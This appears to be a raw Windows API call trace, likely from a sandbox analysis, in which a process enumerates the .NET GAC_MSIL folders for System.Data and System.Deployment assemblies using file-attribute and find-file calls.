	[0088.713] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4864a00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4864a00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4864a00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.713] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity.design\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f1d8 | out: lpFileInformation=0x1273f1d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa483e8a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61eed080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61eed080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.713] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity.design\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.713] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa483e8a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61eed080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61eed080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.714] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Entity.Design.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity.design\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f278 | out: lpFileInformation=0x1273f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61eed080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1084e8)) returned 1
	[0088.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.linq"), fInfoLevelId=0x0, lpFileInformation=0x1273f2c8 | out: lpFileInformation=0x1273f2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bb8900, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bb8900, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bb8900, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.714] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.linq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.714] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bb8900, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bb8900, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bb8900, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.714] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.linq\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f368 | out: lpFileInformation=0x1273f368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b927a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62128520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62128520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.714] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.linq\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.715] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b927a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62128520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62128520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.715] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Linq\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Linq.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.linq\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f408 | out: lpFileInformation=0x1273f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62128520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc0)) returned 1
	[0088.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services"), fInfoLevelId=0x0, lpFileInformation=0x1273f458 | out: lpFileInformation=0x1273f458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49230e0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49230e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49230e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.715] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.715] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49230e0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49230e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49230e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.715] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f4f8 | out: lpFileInformation=0x1273f4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48fcf80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6220cd60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6220cd60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.715] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.716] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48fcf80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6220cd60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6220cd60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.716] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Services.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f598 | out: lpFileInformation=0x1273f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6220cd60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa3cd0)) returned 1
	[0088.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.client"), fInfoLevelId=0x0, lpFileInformation=0x1273f5e8 | out: lpFileInformation=0x1273f5e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bdea60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bdea60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.716] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.716] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93bdea60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93bdea60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.716] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.client\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f688 | out: lpFileInformation=0x1273f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x621747e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621747e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.717] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.client\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.717] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93bdea60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x621747e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621747e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.717] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Client\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Services.Client.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.client\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.services.client.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f728 | out: lpFileInformation=0x1273f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x621747e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6c2f0)) returned 1
	[0088.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.design"), fInfoLevelId=0x0, lpFileInformation=0x1273f778 | out: lpFileInformation=0x1273f778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48d6e20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48d6e20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.717] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.design"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.717] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48d6e20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48d6e20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.717] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.design\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f818 | out: lpFileInformation=0x1273f818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x621c0aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621c0aa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.718] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.design\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.718] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48d6e20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x621c0aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x621c0aa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.718] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Services.Design\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Services.Design.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.services.design\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.services.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f908 | out: lpFileInformation=0x1273f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x621c0aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a8e8)) returned 1
	[0088.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.sqlxml"), fInfoLevelId=0x0, lpFileInformation=0x1273f958 | out: lpFileInformation=0x1273f958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93637620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93637620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93637620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.719] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.sqlxml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.719] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93637620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93637620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93637620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.719] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.sqlxml\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f9f8 | out: lpFileInformation=0x1273f9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936114c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x667ad0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x667ad0e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.719] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.sqlxml\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.719] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936114c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x667ad0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x667ad0e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.719] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.SqlXml\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.SqlXml.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.sqlxml\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.sqlxml.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273fa98 | out: lpFileInformation=0x1273fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x667ad0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb3ac8)) returned 1
	[0088.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.deployment"), fInfoLevelId=0x0, lpFileInformation=0x1273fae8 | out: lpFileInformation=0x1273fae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9365d780, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9365d780, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
